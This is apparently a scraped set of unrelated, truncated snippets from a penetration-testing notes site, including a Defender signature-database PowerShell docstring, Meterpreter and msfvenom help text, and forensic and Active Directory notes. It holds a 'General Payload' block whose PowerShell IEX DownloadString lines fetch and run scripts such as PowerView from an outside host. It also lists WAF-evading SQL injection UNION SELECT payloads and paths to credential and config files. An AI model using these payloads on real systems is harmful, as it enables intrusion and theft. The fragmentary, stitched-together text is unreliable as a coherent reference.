ImaginaryBIT

filter Expand-DefenderAVSignatureDB {
<#
.SYNOPSIS

Decompresses a Windows Defender AV signature database (.VDM file).

.DESCRIPTION

Expand-DefenderAVSignatureDB extracts a Windows Defender AV signature database (.VDM file). This function was developed by reversing mpengine.dll and with the help of Tavis Ormandy and his LoadLibrary project (https://github.com/taviso/loadlibrary). Note: Currently, "scrambled" databases are not supported although, I have yet to encounter a scrambled database. Thus far, all databases I've encountered are zlib-compressed.

ImaginaryBIT

# General Payload  
```powershell
$ExecutionContext.SessionState.LanguageMode
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe
dir C:\Windows\Microsoft.Net\Framework64
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
  
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/apple.txt");
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/loadDLL64.txt");
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/PowerView.ps1");

ImaginaryBIT

meterpreter > help

Metasploit has two versions of Mimikatz available as Meterpreter extensions: 
version 1.0 by loading the mimikatz extension, and the newer version 2.x by loading the kiwi extension.
                                                                       
Core Commands                                                                                    
=============                                                                             
                                                                  
    Command                   Description                      
    -------                   -----------                                 

ImaginaryBIT

MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

Options:
    -l, --list            <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, formats, all                                                                                    
    -p, --payload         <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom                                                                      
        --list-options               List --payload <value>'s standard, advanced and evasion options
    -f, --format          <format>   Output format (use --list formats to list)
    -e, --encoder         <encoder>  The encoder to use (use --list encoders to list)

ImaginaryBIT

/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt

ImaginaryBIT

# Significant Files
//Windows
\inetpub\wwwroot\web.config
\inetpub\logs\LogFiles\*

\xampp\apache\conf\httpd.conf
\xampp\apache\conf\extra\httpd-xampp.conf
\xampp\security\webdav.htpasswd
\xampp\apache\logs\access.log
\xampp\php\php.ini 

ImaginaryBIT

Enable advanced features to view all attributes and tabs

OU
-add child OU
-add individual user, computer, printer...

Users
-add user group
-set member of another group
-add member

ImaginaryBIT

# Intrusion Investigation - Is this computer compromised?
Divide and  Conquer Process - Breaking big questions into smaller
Artifacts Categories:
  1. User
    - Accounts
    - Logins
    - User Acitivities
      a. Launching programs
      b. Accessing data
      c. Searching for data

ImaginaryBIT

# fraud
housing
bill
jobs
study
transaction
travel
car
insurance
contract

ImaginaryBIT

#define _XOPEN_SOURCE 600
#define _BSD_SOURCE

#include <unistd.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/select.h>
#include <stdlib.h>
#include <stdio.h>